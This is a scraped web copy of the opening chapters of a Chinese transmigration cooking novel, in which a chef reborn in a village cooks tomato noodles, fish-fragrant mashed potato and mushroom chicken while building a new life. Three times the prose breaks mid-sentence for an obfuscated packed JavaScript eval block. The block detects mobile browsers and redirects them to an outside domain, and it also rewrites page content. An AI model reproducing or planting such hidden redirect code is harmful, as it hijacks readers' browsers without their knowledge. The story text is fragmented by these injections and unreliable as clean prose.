《从小厨娘干到摄政王（美食）》 1. 番茄炝锅面 “好痒…“一个热热的东西蹭来蹭去，蓝锦拼命睁开眼。 一张灰扑扑的狗脸，湿润润的无辜小黑眼。 蓝锦“蹭”地一下弹开。 “姐，你醒了？”有人放下了什么东西，瘦得硌人的手脚扑过来。 “我就知道，姐姐不会丢下我一个人走的，呜……我好害怕……” “我……我死了吗？”蓝锦蒙了。 “爹去天上了，娘也跟去了。娘要我守着蓝姐姐过，养好姐姐。” 孤儿吗？ 蓝锦思索。 蓝锦逃避。 蓝锦说：“你吃饭了吗？” 小女孩明显一愣，却又放过了这点不对，乖乖地摇头：“没有。” 天大地大，吃饭最大。先找吃的！其他再说！ 蓝锦把哭得打嗝的小姑娘安顿在·勉强算床·稻草炕上，起身去寻炉灶。 锅碗井井有条，笼布被洗得发白，方方正正地叠着。 调料、油罐，量不多，精心地盖好了，罐身甚至没什么污渍。 粮罐有粮，米面不满，却有杂粮杂豆。 这是“我”的家吗？是很有条理的一个家呢。 尽管仍有浓郁的不真实感，蓝锦手下不停，利落地烧了一锅水。 还好露营过，生火不难。 看，她就是这样带着情绪还能冷静做事的人呀！ 蓝锦通过自夸宽慰处境不明的自己。 将面粉放进盆里，摸摸锅中水已是温了。 蓝锦舀了些，徐徐往盆里倒。 好像是穿越来了奇怪的地方？陌生的面粉，还不知道它的吸水性呢！ 那就慢慢来，慢慢来总会好的。 不多时，蓝锦就揉成了一个光滑的面团。 把面倒在案上，慢慢擀开。面香已经扑鼻，是乡下有机麦的精纯浓香。 至少我四肢健全，五感还在呢！蓝锦又意识到一件值得高兴的事。 蓝锦将面片叠起，手起刀落，利索地切成粗细相当的条状。 拿起一簇抖一抖，成了。 把面条盖在一边，取出红彤彤的番茄，“夺夺”地切片、切丁。 再拿起大葱，细细切作菱形长条，放着沥水。 备好的菜红的红，白的白，是真实可感的。 若不是还有人在，时机不对，蓝锦真想给自己哼一首劳动小调。 这和我做大厨的时候，有什么不一样的吗？粗粗一看，也没什么区别嘛。 蓝锦手脚不停，单手将鸡蛋打入碗中，打圈儿搅匀。 把锅清空擦净，倒上黄澄澄的农家菜籽油。 待锅热油热，飞速地倒进鸡蛋。 “咻”的一声，金黄的蛋液遇上高温，在锅中起了大泡，一下子蓬松开来。 香啊！ 味道出来了。 蓝锦拿起大勺，从里往外把蛋液推散，不停翻动。 每一块鸡蛋都沾上了晶亮的油，折射出窗外天光，更加诱人。 蛋香四溢，床上的小姑娘忍不住直起身子，吞了口水：“好香！” 蓝锦看着小妹妹的小儿姿态，忍不住笑了笑。 虽是陌生人家的妹妹，也是一个活生生的人啊。 何况她和自己一样，都像是孤身一人了呢…… 我何尝不是靠她才有片瓦遮身呢？ 蓝锦这样想着，耐心等到鸡蛋微老，方盛出来。 又往锅中添了些油，察觉到背后仍有目光一直盯着她看。 蓝锦没管，自顾自做着。 油香起来之后，把大量的葱条一股脑倒进锅中。 “刺啦”一声，葱香一下子充满整个屋子。 继续翻动煸炒，香气愈来愈浓，直到葱白变得焦黄，便将切好的番茄倒进锅里。 蓝锦撒盐调味，又顺着锅边倒了几勺子水。 看来用陌生的锅灶，技术仍然很不赖嘛！夸夸自己！ 接着，往锅中倒进炒好的鸡蛋。 红中带黄，黄中带焦，蛋香味中掺杂了高温煸炒带来的葱香味。 又有番茄的酸甜气味，复合的香气直钻人鼻孔。 蓝锦听到了身后的小肚子传出了“咕噜”声。 蓝锦替小孩子维护自尊，没有故意逗她一逗。 大火咕嘟得汤卤愈加浓厚，尝尝味道，又补了一点点盐。 舀了一勺吹凉，转身递给今天新认识的妹妹。 不说是听到肚子叫，只说：“帮姐姐尝尝咸淡。” 小姑娘立刻觉得很有责任感，开心地张了嘴，仔细咂摸了味道。 “好吃，真好吃。比娘给小秋做的还好吃。” 噢，她叫小秋。 蓝锦笑笑，把一旁的面条下锅，轻轻搅动几下。 把锅盖盖上，细细听锅中的“咕嘟咕嘟”声。 这是自己在异乡足以生存下来的提示音，宛如天籁。 蓝锦在火旁坐下，火光摇曳，照得她的脸忽明忽暗。 面条香味愈浓，蓝锦起身揭盖。 锅中的汤汁红彤彤一片，浓郁诱人。 还有面条的白，鸡蛋的黄，零星几点大葱的浅褐。 一看就知道很好吃。 小秋忍不住叫出来：“香，好香啊！” 蓝锦拿出两个碗，都盛得满满当当。 小秋抢着来端，被她先一步拦住：“太烫啦，去拿筷子吧。” 二人在桌前坐定。 小秋盯着面前的一大碗，有些不敢相信自己的眼睛。 “姐姐，你讲故事厉害，做好吃的也这么厉害。” “来嘛，吃吧。” 二人大口往嘴里送面条，鸡蛋的油香味充盈着口腔，每一根面条上都挂满了酸甜鲜香的汤汁。 先吃一口面，再喝一口汤，混合着鸡蛋、大葱、番茄的咸鲜味，让人忍不住一口接一口。 热乎乎的，直暖到人心里。 小秋吃得全身暖洋洋，额头发际的小绒毛汗津津的。 “你喜欢我讲的什么故事？”蓝锦状似随意地问道。 “唔……就是姐姐从歹人的马车上跳下来，见到我爹娘捕野兔……姐姐的娘亲最会挽发髻、和你抱小狗逛庙会……” 蓝锦默默地听着。 小秋会错了意，声音低了下去。 “对不起，姐姐的娘亲变成了星星，姐姐一定很伤心。” 哦，原来“我”也没了妈妈。 蓝锦脑补出一场孤女逃亡的大戏。 蓝锦继续沉默不语。 “汪”，“汪汪”，脏脏的小狗适时发出抗议，打破有点凝重的氛围。 “差点把你给忘了。”蓝锦拿来小碟，把碗里的面分了点出来。 “好啦，这里有盐，不能多吃，回头再给你做好吃的。” 小秋吃得脸上沾染了番茄汁，摸摸鼻尖，喃喃道： “姐姐，你的小狗也喜欢吃你做的菜。” 蓝锦给她擦了擦脸，既安慰自己也安慰她： “这很好啊，我们三个一起，能过得很不错的。” 二人默默地吃了一阵，谁也没有说出话来。 “你还记得我一共讲过多少故事吗？”蓝锦主动出击。 “爹娘走了，姐姐能起身说话了，每晚一个，有八九个。” “爹娘回来了，姐姐一直睡，爹娘又去天上了，就什么都没有了……” 小秋乖巧地掰着手指。 蓝锦拍了拍她的手。 是一个不幸却善良，善良却不幸的人家呢。 能打猎，能救人，容许外来的病人在家中迁延良久，却只能将女儿托付给陌生人。 是遭遇了什么极仓促、不可抗的祸事吗？ “小秋，我记不太清了，我能说话之前，你爹娘做什么去了？” “修大桥，还有大屋……村长叔叔跪下来，说我们家原不是本村人，再没有别人替了，爹娘就去了。” 蓝锦云里雾里。 为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090769|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了徭役，村长还要跪下？ 想来是他上面的官，逼得他不得不跪了。 只是，怎么会男女皆去呢？去了没多久，竟双双病重致死了？ 这不是她现在能管得了的事。 蓝锦躺在床上，梳理着一天发生的事。 自己平白无故地穿越了，在结束了厨师大赛的最后一场时。 来到了一个奇怪时代的奇怪人家——只有一个孤女。 “自己”本身也是个不明来历的外来客，好似有些出身——她脖颈间还能摸到一个足金镂花的长命锁，贴身藏着，甚至还带着自家的卷毛狗——却也遭了难。 也就是说，她几无可以依仗的外力，更遑论回去现代的方法。 天呐，两眼一抹黑。 眼下当务之急，还是得确认这个徭役是怎么回事，会不会落到她的头上！ 否则小命可不保哇。 还有，她不会种田，不会养鱼，没养过猪，也没放过羊。 总不能指望小秋妹妹吧？ 这可怎么生活哟。 蓝锦怀揣着满腹的忧伤，忧伤了一秒钟，就倒入黑甜的梦乡。 她的瞌睡虫也穿来了！不幸中的万幸！ 第二天一早，蓝锦挎着一个小竹篮，盖着碎花棉布，一径去了村长家。 村长姓纪，年过五旬。妻女皆面色红润，算是很长寿健康的人家了。 蓝锦摸不准村长在小秋一家之事里占据的角色，抑或背后有什么脏事，想过如何不动声色地打听自己的户籍，打探徭役。 可她万没想到，村长竟是从堂屋里飞奔出来迎她，脸上神色可称谄媚： “呀，这不是岳家的蓝小娘子吗？小娘子奔波投亲，这身子骨可是大好了？” 未待蓝锦伸手拿出自己带来的豆沙花糕，已是给她奉上了茶水和酥果子。 唷，竟是正经把我当成客人了。 “小娘子放心，你伯父托我办的户籍文书已是妥了。说来真是惭愧，终究是我……”，纪村长殷勤地请蓝锦入座。 蓝锦接过几张薄纸，细细一看，岳素秋，年六岁。蓝锦，年十六。二人落在一户，是堂姐妹。 自己的那张，写了家中遭洪灾，远来投亲，自立门户于七霞村云云。 并一张表彰簿，言说岳明义、唐红英夫妇二人，舍身为民，为七霞村之表率…… “这……岳……伯父他们不是因为徭役……”蓝锦满心疑问。 “哈，哈，这个这个，徭役这事已经翻篇啦。上边传话，男女皆役，女重于男，纯属谬政。好在只施行了三五天，幸亏有好大人拨乱反正啊。” “这巡查使拿着鸡毛当令箭，捧人家的臭脚，只是姓邢就觉得自己是铁面判官了？他也不想想礼氏又是吃干饭的吗？” “当时我就知道，这事，成不了！” 纪村长摸着山羊胡，初时还有点尴尬神色，越说越浮起一丝傲气。 “那村长去我们家时，还要进门就下跪，彷佛很恳切促成此事？”蓝锦捉住了山羊尾巴。 “罪过，罪过！神仙斗法……原是想着，人要不愿去，免不了拖沓一番，上头要骂我办事不力——可家家我都跪下了。” “由此坑害到了无辜之人，惹了另一方——我那也是被逼到一家一家去跪了嘛！” 蓝锦无语。 纪村长，滑不溜手，两边不得罪，我看你也不像什么正经人啊。 蓝锦见他油滑却坦诚，倒松了一口气，向后倚靠去，手里拈着碎花棉布的边沿，面上浮现一丝狡黠。 “纪村长，你懂的蛮多的嘛。” “哪里哪里，朝廷邸报，飞鸽轻骑告于说书人，连黄口小儿都懂唱诵一二。” “只是谁承想……我托一句大，大侄女！终究是我对不起你们家，你们姐俩有任何烦难，我办得到的，只管来找我。” 蓝锦把薄纸揣进怀里，换上笑脸，打蛇顺棍上：“好叫纪伯父知道，眼下倒真有一件事，须得求到您这里。” 2. 鱼香土豆泥 蓝锦喝了一口茶水，不紧不慢地开腔： “我本家原有些饮食方子，家传手艺，十里八乡都是交口称赞的。” 当然是没有的事啦，但人怎能不给自己壮壮胆子呢。 纪村长在一旁默默地听着，眼睛随着蓝小娘子的手去看竹篮里盖着的五色花糕。 红色的、绿色的、黄色的，拧成各色形状，恰如其分地嵌了干果。 有荷花其瓣尖尖，层叠错落，及至莲心各有一点晕开的米黄。 在蓝锦的手心徐徐地转动，倒有些许庄肃的情态。 另有端坐在小山上的狮子。 五颜六色的塔身，每层都有不一样的花纹，红红的狮子头上精心地配了头饰和项链。 饶是吃过见过的村长也一拍大腿： “妙啊，蓝小娘子这番手艺，何愁不能自立门户啊，恐怕都不需我帮手了。” 蓝锦笑了，这村长真是闻贤音而知雅意。 蓝锦利索地掐开一朵牡丹，暗红粘糯的豆沙馅便漏了出来。 既有红豆碎，又有红豆沙，层层裹在牡丹花瓣里，中心还有一大团馅。 “不是中看不中吃的样子货。家中还能做层层揉进了油酥的，花生馅的，芝麻馅的。” “还有那种奶香的，黄澄澄，一咬便烫烫地流出来，保管馋人。” 纪村长摸着胡子，脸上已是犹豫，却又摸不准蓝锦的所求，一时支吾不敢应。 “好了！” 后间走出来一个容长面孔的妇人，身形高挑，“啪”的一声打在纪村长的左肩。 待到她转过身来，语气却很温和：“蓝小娘子，我看这花糕就很好。” “你是想托我们寻人零卖，或是寻一处寄售，抑或是找能买这点心方子的人呢？” 蓝锦这下是真的高兴了，当即开口道： “零卖固然好，只是不知深浅，心里没有数量的成算，怕是糟蹋了食物。” “我身无长物，能依靠的唯有这些方子，暂时还是不卖的好。” 蓝锦放下竹篮，正正经经地给她揖了一礼： “还望娘子教我，寻一个妥帖的去处，签了契约，定了价钱货量，好让我们姐妹二人添个进项。先谢过您。” 那妇人上前一步，牢牢地托住蓝锦的胳膊，不叫她真的俯下身。 口中只道：“蓝小娘子无须这般客气。” 二人相携坐下，妇人先笑着开口：“我娘家姓霍，小娘子胡乱称呼就是。” “你这花糕精致耐看，清香诱人，我看不会有人说不好的。” “村东往城里去的路上有一座娘娘庙，保佑家宅平安，很有几分名声，村里人常结群去拜的。” “你不妨同我们一道，问问庙里的女尼，愿不愿做这桩生意。” 蓝锦闻言，欢喜地起身，又要一揖：“多谢霍娘子指点我，我和小妹感激不尽的。” 无论哪个年月，愿意给你指赚钱路的，都是好人呐。 没看到村长好似满心愧疚的样子，真要相帮，却也在踟蹰地观察吗？ 霍娘子拉着她的手，笑道：“真是个多礼的孩子。” “你若有空，也常带你妹妹来找旭云玩耍，她只比你小一岁。” 一边招手叫女儿过来。 蓝锦抬眼细瞧，见是个面容端方的小姑娘，眼眸中却很有几分顽皮，还冲自己眨了眨眼。 “我们后日正要去娘娘庙踏青，好些人家的女儿都去呢，你就带上你的好看糕饼，保管让妙清师太爱得合不拢嘴！” 霍旭云眉飞色舞，说到“踏青”两个字，声音压得低低的。 唔，看来是女儿家们的联谊活动呢！很该一去。 蓝锦笑着应承了，几番推辞相让，把一篮子花糕都留给了霍旭云。 出来了这么久，心里的几块大石头都落了地。 家中还有小妹、小狗——和她这个唯一的大人——的肚子没喂呢！ 蓝锦脚步轻快，神清气爽，满心盘算着今天吃点什么，设计什么样的新花糕。 这边霍娘子却仍和夫君议论着刚才的事。 “进退有度，知书达理的，我看不像是没进过学堂的人家养出来的孩子。” 纪村长还揉着左肩膀：“是是是，都和你一样，出身不俗……”全无意外，又遭一击。 霍旭云揪下花糕上的云纹花瓣，边吃边开了腔。 “阿爹还说呢，见了这么好的花糕，生怕人家狮子大开口，从你兜里掏出一文钱来！” 纪村长对着妻女，却只尴尬地笑。 “哎呀，哎呀，我是抠了点，你们懂什么样该花就行嘛……” 蓝锦一路盘算到家，心里已经有了主意。 和小秋一起吃了些未及掐形状的花糕，把竹筐一背。 带上小妹，带上小狗，打算进山找找食材。 小妹按蓝锦昨夜交待，拿皂荚擦洗了小狗，才知它浑身雪白。 现下跑在二人前头，汪汪不停，姐妹两人都笑了。 盛夏的山里浓荫蔽日，间有鸟鸣，不时还有松鼠、小兔一类的小动物蹿过。 沿着蜿蜒的小路越走越深，蓝锦且行且教，同小妹一起采了不少蘑菇。 小狗被味道吸引，发现了一片野山椒，啃玩着地上的青蒜苗。 蓝锦忙不迭往筐里送。 就这样边采边走，也不知走了多久，远处传来一阵酥麻麻的清香。 蓝锦起身一看，对面山坳旁边，俨然是枝叶繁茂的花椒树。 太好了，蓝锦手脚并用地爬过去，摘了不少嫩椒叶和花椒粒。 就在这时，她的脚踝突然被什么锁住了。 蓝锦寒从心底起，全身咻地爬满鸡皮疙瘩，后背一凉，汗毛耸立。 颤巍巍地低头一看—— 是只带血的手！山洞里躺着个男人！ 蓝锦把一妹一狗护在身后，倏地把手中的小锄头对准他： “你是谁，我伯父就在附近，别想乱来，我喊人了！” 对方深深地看了她们几人一眼，像瞧出了什么似的，目光闪烁，伸手将锄头掰向一边。 蓝锦想收手，却动弹不得，更觉不妙，拼命拉住花椒树。 不知一个受伤的人哪来这么大力气，无论如何都甩不开。 “小娘子救我，我定会报答你……”男子说罢，就晕了过去，只是手还死死地扣着她的脚。 蓝锦内心天人交战了几番。 救他，这人身份不明；不救他，这也是眼前的一条人命。 关键是……大哥，你也没给我选择的余地啊！ 蓝锦和小秋对视一眼，从彼此的眼中看到了担忧。 小狗慌乱地摇着尾巴围观，姐妹俩着实费了一番功夫，把蓝锦的腿从他手里抠了出来。 到底没有抛下就走，蓝锦把进山时带的水壶、花糕，都留给了他。 舀了溪水冲掉他身上明显的血迹，防止招来野狼。 割了些有药香的野草，把这人盖得严严实实。 我够意思了吧？接下来你就死生有命，富贵在天了哦。 两人一狗慌不择路，忙忙地逃回了家。 蓝锦在每人身后都系了一大把蓬开的蒲草。 选路也七扭八拐，力求不叫人看出她们的脚印。 如是跌进房门，牢牢地锁上，三双眼睛面面相觑，不能说是不狼狈。 小秋抚着胸口，先开口道：“吓死人了，还好，我们的筐没弄丢！” 是了，蓝锦回过神来，口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090770|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念念叨叨，我原是要做什么来着？ 得做点什么，才能让乱跳的心脏渐渐平静下来。 蓝锦四处翻了翻，桌上有一碗她出门前放在那的黄豆。 是了，酱油！ 蓝锦是打算把自己的蓝氏调味秘方——各色酱油复刻出来。 外边日头正毒，刚好晒曲。想来不过半年，就能用上了。 洗净豆子，泡胀，上锅蒸熟，摊开晾凉之后裹些麦粉。 等以后曲霉菌长成，倒些盐水，林林总总，晒个半年，就差不多了。 泡着豆子的功夫，蓝锦插空做了些番茄酱。 把新鲜的番茄——枝头上刚死的呢！——洗净去皮，放进锅里熬煮成素日喜爱的稠度。 慢慢长大的番茄滋味足，不用加什么调味，就已经很好吃了。 又把山里摘的野菜洗净，剁得碎碎的，收集了汁液。 沉淀过后，就是能嫩肉，也能勾芡挂汁的淀粉。 之后再想办法弄点绿豆、豌豆、红薯和玉米之类的，多滤点出来更好。 这些用惯了的调料，凭自己的双手就能做出来，给了蓝锦很大的安定感。 小秋得了指挥，和小狗一起，把山里采的蘑菇、花椒叶和花椒粒都铺开晒上。 野山椒太多，放坏了可惜，蓝锦拿出大半，洗净了晾干，打算做泡椒。 洗出来个干净坛子，搁上切成大片的姜蒜，倒进晾凉的开水。 坛子里再放点白酒，加点自酿米醋，错落地倒入野山椒，撒些盐、糖。 晃晃均匀，用腌菜石将坛子盖紧。 好了，差不多一个月后，就能吃上了，还能做泡椒酱。 鱼香茄子、鱼香肉丝、鱼香土豆泥、泡椒牛蛙、泡椒凤爪、川香烤鱼…… 咸鲜油亮，红汪汪的。 嘶……流口水了…… 蓝锦手脚极快，等她做完这些，日头刚过晌午。 早上她们对付了两口出门做事了，中午不能再亏待自己了。 昨日隔壁的姜家大郎下河捞了几条大鱼，分给小秋一条。 蓝锦怕鱼越养越瘦，当天就杀了，姐妹俩吃了一半。 夏天不好存东西，另一半剁碎炒熟，做了鱼肉酱。 正好，小秋淘洗好了大米并杂粮。蓝锦把土豆洗净切片，一起上锅蒸。 待土豆蒸熟，把它盛到盘中，捏成土豆泥。 撒点薄盐，和昨天炸的葱油，香味四溢。 小秋和小狗也围过来探看，两颗小脑袋一上一下：“姐姐，这是什么呀？” 蓝锦自得地搅拌着土豆泥，眉眼弯弯。 “鱼香土豆泥。花糕能卖，好吃的话，这个也能卖！” 小秋“嗯！嗯！”不停，拼命点头。 一人一狗，全都眼神一错不错地看着蓝锦动作。 先把土豆泥用手掌按按，不必平整，刻意叫它坑坑洼洼，蓝锦又重新起锅倒油。 倒入昨晚做的鱼酱，一时霸道的荤香味四起。 这道菜本是常用泡椒酱做出鱼香口，不过她的酱还没制作完成。 就用真正的鱼来做出咸鲜荤香味吧。 添了几勺水后，锅中咕嘟咕嘟烧得起劲。 蓝锦往里加了点糖和醋，又用调了水淀粉倒进去。 在大火的作用下，汤汁逐渐变得浓稠。 舀起一瓢来，红亮的汤汁挂在勺背上不肯下来。 蓝锦往锅里倒了些芝麻油，鱼酱的香味更被激发。 成了！ 润红的汤汁往香香的土豆泥上一浇，就被月球表面似的小凹陷留住，缓慢地流淌，爬满整盘。 红色和金黄相间，叫人直流口水。 再撒上些青绿的葱花，这就做好了。 3. 香菇柴火鸡 “来吧，我们开饭啦。”蓝锦端着盘子走向饭桌。 “好诶好诶！”一人拿着筷子在后面跟着，一狗也汪汪地跑过来。 桌上摆着小秋刚才从菜园里摘的生菜叶，已经洗净掰好了。 蓝锦夸了她，教她拿来一片菜叶放在手心。 夹一筷子大米饭，再舀一勺子土豆泥，吹吹凉包上，一口放进嘴里。 好吃！好吃！满足得不得了！ 米饭的香糯，生菜的爽滑，土豆泥的鲜美，一齐在口腔中迸发。 蓝锦吃得后仰着头，眼角眯眯。 小妹和小狗也吃得津津有味，即便小狗那份并没有盐。 蓝锦拿起盘子，在米饭碗里倒了些土豆泥里的鱼香汁。 用筷子这么一拌，再送一大口进嘴巴。 小秋有样学样，如是这般试了之后，忍不住叫出来：“姐姐好厉害，又是不一样的好吃。” “好吃就多吃，比比看，看谁长得高。”蓝锦又吃了一大口。 “好，姐姐做的饭菜这么好吃，我一定能长很高很高的，就能把姐姐养得特别好！”小秋挺起胸脯，大声道。 “哦哟，我等着你哦！”蓝锦对她眨一眨眼，并不放在心上。 待把生菜吃完，二人把土豆泥盖到米饭上，慢慢拌开。 每一粒米都沾上了咸香可口的土豆泥。 鱼香汁把米粒沁得白里透红。 小秋端着碗，扒了一口又一口，直到把一大碗杂粮米都吃得精光。 再看旁边的小狗，也是同样吃得干干净净。 “姐姐，土豆泥这么好吃，能天天都吃吗？”小秋一脸希冀地问。 “我还会更多菜噢，有的更好吃呢。”蓝锦一刮小妹的小鼻子。 巧妇难为无米之炊，想做更多种菜，总得多找些食材。 昨天的鱼是意外之喜，那是别人家知道岳家不易，时有接济。 她决定，也去河里碰碰运气。 蓝锦把没吃完的鱼酱分装出一半，给隔壁姜婶家送去。 “婶子，谢谢你家的鱼。这是我自己做的，您也尝尝味道。不知您家的渔具能不能借我一用？”蓝锦笑得真心，腮边一个小梨涡。 “小孩子家家，这么客气做什么。你伯父伯娘……唉……要下河啊？叫大郎帮你，掉下去不是好玩的。” 姜婶不由分说，把拿着渔叉的姜大郎推了出来。 蓝锦推辞不过，只得应了。 这里的人家，都好热情啊！ 该是生活都过得不错吧。 姜大郎眼睛大大的，睫毛也长，虽是个身材高大的强壮汉子，神态却像个乖巧的小男孩。 他腼腆一笑，也不说什么，领着蓝锦往河边走。 蓝锦不放心小秋一个人待着，把她也带上。小秋不放心小狗一只狗待着，又把它也带上。 于是一行人浩浩荡荡地往河边走，不多时就把山里的血人忘得一干二净。 河水清冽，流过小脚丫痒痒的。小秋和小狗互相泼水，玩得咯咯直笑。 蓝锦边找鱼，边留心着小妹小狗，见状也忍不住跟着玩。 “哎，姐姐你看，你背后有虾子跳！” 蓝锦回头细找，真在石头边看见了虾，个头还不算小。 不待伸手去捏，虾机灵得很，一下子就溜了。 “下回带渔网来，好捞。”姜大郎已经叉了几条鱼，还顾着她们这头。 太阳快落山了，一行人往回走。桶子里一尾大鲤鱼翻了个身，溅了蓝锦一身水。 “好啊你这鱼，今晚就把你吃了！” 小秋赶上来围住：“好呀好呀，可千万别叫它跑了。” 说说笑笑间，蓝锦还惦记着去姜家归还渔具。 正琢磨着该直接上门，还是做些东西再送去。 远远却见姜婶满面喜色地等在自家门口，转身拎起两只鸡，挽着一个篮子，先一步迎过来。 “正说着呢，赶巧就回来了。” “我那本家弟媳，吃了你那鱼酱说好。今天宴客，想请你给她家添道大菜。” “她家日子过得好，十里八乡都有亲朋。几个儿郎，跟我家一样，壮实着呐。” 又低下声音说：“是突然了点，不拘做点什么都行。她向来不会烧菜的，我估摸是一时兴起赌个面子。” “这篮鸡蛋是她给你的，待会她家有人来取菜，不劳你费心的。” 蓝锦知道这是姜婶惦记她，替她张罗来的活计，更加感激道：“我会的，姜婶放心。” 姐妹二人一起把鸡拿去灶边，例行公事地对视了一眼，例行公事地沉默住了。 蓝锦一咬牙：“我能杀！” 面上颇流露出一点视死如归的坚定。 没害过鸡命，总见过菜市场。 不过放血、拔毛、烫皮，区区小事，熟能生巧！ 小秋在一旁担心地陪着她，一双黑瞳一时看鸡，一时看姐。 “姐，它死了，鸡已经死过了……” 蓝锦睁开眼睛，长呼一口气。迈出了第一步，之后林林总总不必再表。 料理完这件大事，蓝锦返身回去继续备菜。把葱姜摘洗干净，切成细末，又洗切了一些香菇片。 再给洗净的鸡改刀。 如庖丁解牛一般，先划个口子，又掰开关节，切开鸡皮，拆下完整干净的鸡腿。 剁开胸膛，沿着骨头轻轻划动，砍掉鸡架。 凭心而论，这鸡漂亮极了。 肥厚的黄色鸡油，随随便便就能割下几片。 自家慢养长大的鸡，极是肥美，不见多少腥气，反而脂肥肉满。 另一只也如法炮制，一番动作行云流水。 洗净了血水，又入锅焯水，嫩白的鸡肉只留下了浓浓的肉香。 蓝锦换了一锅开水，盖上盖子继续焖煮。 锅里咕嘟着，是溜达鸡独有的纯粹荤香。 把香菇洗净，切片，加点油和葱姜，拌匀了蒸上。 这是蓝锦秘而不宣的小技巧。 如此处理的香菇，最后吃起来更加油润饱满！唇齿留香呢。 鸡肉须得炖得越久越好，趁这个功夫，蓝锦拿了盆和面，打算给自家准备个晚饭。 往面里倒了水，拌得差不多，正要揉面时，小秋见缝插针：“姐，我来帮你揉！” “好呀，那我们一起来吧。”蓝锦手下并不停。 指挥小妹洗净玩水的小脏爪，蓝锦邀请她把小拳头放进面盆，四只手一齐动作。 “哈哈，好玩吗？今天的面吃着该更香了。”蓝锦言笑晏晏，歪头去看小妹。 “姐，我没有在玩，我答应了娘，要养姐姐的。”小秋一脸严肃。 蓝锦绝倒。 看着面差不多了，蓝锦拿来大面案，撒了些干粉，将面团倒出来擀平。 又叠成了几片，左一刀又一刀，咻咻地划成了满案的面片。 蓝锦拿布来盖上面片，喊要养自己的小秋去院子里摘点菜。 不多时，敲门声响起，蓝锦过去一看，是个壮实汉子。 “蓝妹子，我姐是隔壁姜家的，叫我大武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090771|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行。我媳妇让我来，说拿好吃的回去。” 面前的人憨厚地笑着。 蓝锦客气地把人迎进来，小秋跑着去倒了杯水，小狗也大方地打招呼——“汪！汪！”。 鸡肉已是用柴火慢炖了一个时辰，蓝锦揭开锅看看样子，浓郁扎实的肉香一下子充满了整间屋子。 “哎呀呀，真不得了，我媳妇跟我姐都说蓝妹子做菜功夫了得，不是一般人能比的，亲眼见了才知深浅。” “这香味儿，十里八村都没人做得出来啊。” 蓝锦忍俊不禁：“大武叔太客气了，还没做成，您且稍待，马上就好。” 说罢手脚利落地捞出鸡肉，不顾烫手，开始拆鸡骨。 从锅里舀了几勺金黄滚烫的鸡汤出来，泡香菇和蒸香菇的水也不要丢。 一起放进锅里，加些盐，搅一搅，最后点上勾人馋虫的芝麻油。 为摆盘计，将收拾好的鸡肉铺在香菇上，倒进刚才那几勺鸡汤，上锅去蒸。 鸡肉和香菇汁水交汇，直等到香气浓烈，蓝锦才把盘子端出来，小心倒出汤汁。 仔仔细细地过滤一番，复又把更加明净的汤倒回锅里。 往锅里撒了些盐，又调了些水淀粉勾芡收汁。 直熬煮得香浓幼滑，再热热地淋在蒸好的鸡肉上。 边角料都藏在底下，卖相匀整白嫩的鸡肉都铺在黑白的香菇片上，顶上有青绿葱丝点缀。 香菇吸收了鸡肉的油，二者香气相融相辅。 一道食材质朴却处处精心讲究的香菇柴火鸡就成了，蓝锦自己是相当满意。 “这这，蓝妹子真是神了，从来没见人这么整治过鸡肉，这么好看，不知道得有多好吃啊。” 姜大武把手搓了又搓。 蓝锦给他递了筷子：“您尝尝合不合口？” “嗳，鲜，香，这味儿，得比吃天上龙肉还舒坦，吃一口，想一盘呐。” 姜大武小心地从底下挑着吃，犹豫再三，好容易才搁下筷子。 蓝锦心里有个小人，带尾巴的那种，因为尾巴一下就翘到天上去了！ 她想，那是自然。这是我打出品牌的第一道菜，当然用尽浑身绝学才是正经。 你们就吃吧，以后定叫你们每一颗味蕾都写上蓝锦的名字！ 面上却是淡淡，神态端庄地回道：“好吃再来啊您！” 姜大武小心地把食盒盖上，口中直道： “蓝妹子，真谢谢啊，这是帮大忙了，我这拿回去肯定有面子。你放心，以后啊，我媳妇肯定还来找你！” 菜做成了，对姐姐和媳妇都有交待，他便提起食篮，小步快跑出了门。 蓝锦不闲着，给番茄改了个刀，锅里放葱油，加入番茄翻炒出沙，加水炖煮。 把做好的面片扑簌簌地下进去，白白的面打着旋儿钻进红汤。 汤越煮越浓，她搅了三个鸡蛋进去，飘逸的鸡蛋花和红汤一黄一红，堪称绝配。 放盐调味，出锅前撒上葱花，点上芝麻油，香极了。 不必说，今天两人一狗的肚子，又是圆圆的，要绕着屋子小院打圈走，才能睡着呢。 蓝锦舒服地在被窝里扭了一扭，或许是心下越来越安定，这麻布稻草，睡起来也有温馨的感觉。 等她再挣点钱，二十文，一百文，一两，二十两……迟早也是要换掉的，人不会嫌享受多嘛。 